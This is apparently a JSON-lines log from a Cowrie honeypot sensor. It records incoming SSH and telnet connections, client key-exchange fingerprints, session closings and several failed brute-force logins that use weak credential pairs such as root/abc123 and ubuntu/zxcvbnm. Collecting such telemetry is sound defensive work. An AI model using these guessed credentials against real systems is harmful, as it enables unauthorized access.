{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:22.569061Z","src_ip":"20.244.18.126","session":"604f4af4bc2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:22.587858Z","src_ip":"176.65.139.103","session":"47c9e0e64c40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:22.839015Z","src_ip":"176.65.139.103","session":"47c9e0e64c40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:23.926825Z","src_ip":"176.65.139.103","session":"47c9e0e64c40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.383787631988525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:24.892815Z","src_ip":"94.23.163.94","session":"9920f28ae871","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45796,"dst_ip":"10.17.0.5","dst_port":23,"session":"faead8b12f62","protocol":"telnet","message":"New connection: 5.189.169.71:45796 (10.17.0.5:23) [session: faead8b12f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:25.181383Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":46052,"dst_ip":"10.17.0.5","dst_port":23,"session":"5820ea2d2cf1","protocol":"telnet","message":"New connection: 94.23.163.94:46052 (10.17.0.5:23) [session: 5820ea2d2cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:25.690911Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45798,"dst_ip":"10.17.0.5","dst_port":23,"session":"725ef598cb99","protocol":"telnet","message":"New connection: 5.189.169.71:45798 (10.17.0.5:23) [session: 725ef598cb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:25.945436Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":46062,"dst_ip":"10.17.0.5","dst_port":23,"session":"b44ff8da2ef7","protocol":"telnet","message":"New connection: 94.23.163.94:46062 (10.17.0.5:23) [session: b44ff8da2ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:26.664359Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":46068,"dst_ip":"10.17.0.5","dst_port":23,"session":"5172778b5347","protocol":"telnet","message":"New connection: 94.23.163.94:46068 (10.17.0.5:23) [session: 5172778b5347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:26.844723Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45802,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b1a38f7b770","protocol":"telnet","message":"New connection: 5.189.169.71:45802 (10.17.0.5:23) [session: 5b1a38f7b770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:27.303206Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":45804,"dst_ip":"10.17.0.5","dst_port":23,"session":"97d761c7659c","protocol":"telnet","message":"New connection: 5.189.169.71:45804 (10.17.0.5:23) [session: 97d761c7659c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:27.333578Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":46070,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c003f16c597","protocol":"telnet","message":"New connection: 94.23.163.94:46070 (10.17.0.5:23) [session: 2c003f16c597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:27.420414Z"}
{"eventid":"cowrie.session.closed","duration":30.27917456626892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:28.051411Z","src_ip":"149.202.139.27","session":"0d0ba30f02a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964042901992798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:28.061167Z","src_ip":"5.189.169.71","session":"ec9b213cb18e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49332,"dst_ip":"159.203.135.109","dst_port":23,"session":"9956c56b193e","protocol":"telnet","message":"New connection: 23.254.167.244:49332 (159.203.135.109:23) [session: 9956c56b193e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:29.014502Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48770,"dst_ip":"10.17.0.5","dst_port":22,"session":"274bc2d6e803","protocol":"ssh","message":"New connection: 176.65.139.103:48770 (10.17.0.5:22) [session: 274bc2d6e803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:30.065308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:30.070057Z","src_ip":"176.65.139.103","session":"274bc2d6e803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:30.167003Z","src_ip":"176.65.139.103","session":"274bc2d6e803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":46080,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56c458cedba","protocol":"telnet","message":"New connection: 94.23.163.94:46080 (10.17.0.5:23) [session: a56c458cedba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:30.299365Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:30.423522Z","src_ip":"176.65.139.103","session":"274bc2d6e803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":46082,"dst_ip":"10.17.0.5","dst_port":23,"session":"f760312a9f65","protocol":"telnet","message":"New connection: 94.23.163.94:46082 (10.17.0.5:23) [session: f760312a9f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:30.793810Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:31.528057Z","src_ip":"176.65.139.103","session":"274bc2d6e803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.065842390060425,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:31.613232Z","src_ip":"23.254.167.244","session":"46b4bc5bb6b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60727047920227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:32.265798Z","src_ip":"5.189.169.71","session":"8125889b405e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90272045135498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:32.510810Z","src_ip":"5.189.169.71","session":"360ea51a618c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":41100,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1c743777bbc","protocol":"telnet","message":"New connection: 5.189.169.71:41100 (10.17.0.5:23) [session: e1c743777bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:32.515654Z"}
{"eventid":"cowrie.session.closed","duration":31.306429862976074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:33.547310Z","src_ip":"5.189.169.71","session":"3122589e891b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":54644,"dst_ip":"159.203.135.109","dst_port":23,"session":"8de06cf2078c","protocol":"telnet","message":"New connection: 23.254.167.244:54644 (159.203.135.109:23) [session: 8de06cf2078c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:33.599647Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60558,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e926dca3b5e","protocol":"telnet","message":"New connection: 94.23.163.94:60558 (10.17.0.5:23) [session: 5e926dca3b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:33.765511Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60568,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c83de2205c6","protocol":"telnet","message":"New connection: 94.23.163.94:60568 (10.17.0.5:23) [session: 3c83de2205c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:33.971927Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45218,"dst_ip":"10.17.0.5","dst_port":22,"session":"851b271e975c","protocol":"ssh","message":"New connection: 176.65.139.103:45218 (10.17.0.5:22) [session: 851b271e975c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:37.214352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:37.219441Z","src_ip":"176.65.139.103","session":"851b271e975c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.816760301589966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:37.223883Z","src_ip":"5.189.169.71","session":"30f6525d6039","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:37.301558Z","src_ip":"176.65.139.103","session":"851b271e975c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:37.564727Z","src_ip":"176.65.139.103","session":"851b271e975c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:38.655541Z","src_ip":"176.65.139.103","session":"851b271e975c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60772,"dst_ip":"159.203.135.109","dst_port":23,"session":"27a300b45cf1","protocol":"telnet","message":"New connection: 23.254.167.244:60772 (159.203.135.109:23) [session: 27a300b45cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:38.817620Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60526,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f0dc462115a","protocol":"telnet","message":"New connection: 5.189.169.71:60526 (10.17.0.5:23) [session: 7f0dc462115a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:39.181175Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":43801,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7681e94ccd0","protocol":"ssh","message":"New connection: 74.87.117.149:43801 (10.17.0.5:22) [session: d7681e94ccd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:39.245124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:39.249583Z","src_ip":"74.87.117.149","session":"d7681e94ccd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:39.273591Z","src_ip":"74.87.117.149","session":"d7681e94ccd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zxcvbnm","message":"login attempt [ubuntu/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:39.405593Z","src_ip":"74.87.117.149","session":"d7681e94ccd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60534,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3772ed8a0b8","protocol":"telnet","message":"New connection: 5.189.169.71:60534 (10.17.0.5:23) [session: c3772ed8a0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:39.482371Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60536,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e324814810","protocol":"telnet","message":"New connection: 5.189.169.71:60536 (10.17.0.5:23) [session: 67e324814810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:39.873090Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60582,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9520166a78","protocol":"telnet","message":"New connection: 94.23.163.94:60582 (10.17.0.5:23) [session: 3d9520166a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:40.451247Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:40.462974Z","src_ip":"74.87.117.149","session":"d7681e94ccd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.163.94","src_port":60592,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c5ceeec9115","protocol":"telnet","message":"New connection: 94.23.163.94:60592 (10.17.0.5:23) [session: 0c5ceeec9115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:41.821268Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37290,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25819d24c18","protocol":"ssh","message":"New connection: 159.203.92.129:37290 (159.203.135.109:22) [session: c25819d24c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:41.859013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:41.864483Z","src_ip":"159.203.92.129","session":"c25819d24c18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:41.868906Z","src_ip":"159.203.92.129","session":"c25819d24c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"anna123","message":"login attempt [anna/anna123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:41.881343Z","src_ip":"159.203.92.129","session":"c25819d24c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.153742790222168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:42.162156Z","src_ip":"94.23.163.94","session":"f35b06161d3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60546,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea11dbe76c5c","protocol":"telnet","message":"New connection: 5.189.169.71:60546 (10.17.0.5:23) [session: ea11dbe76c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:42.281404Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":60556,"dst_ip":"10.17.0.5","dst_port":23,"session":"6575b2c94d84","protocol":"telnet","message":"New connection: 5.189.169.71:60556 (10.17.0.5:23) [session: 6575b2c94d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:28:42.369211Z"}
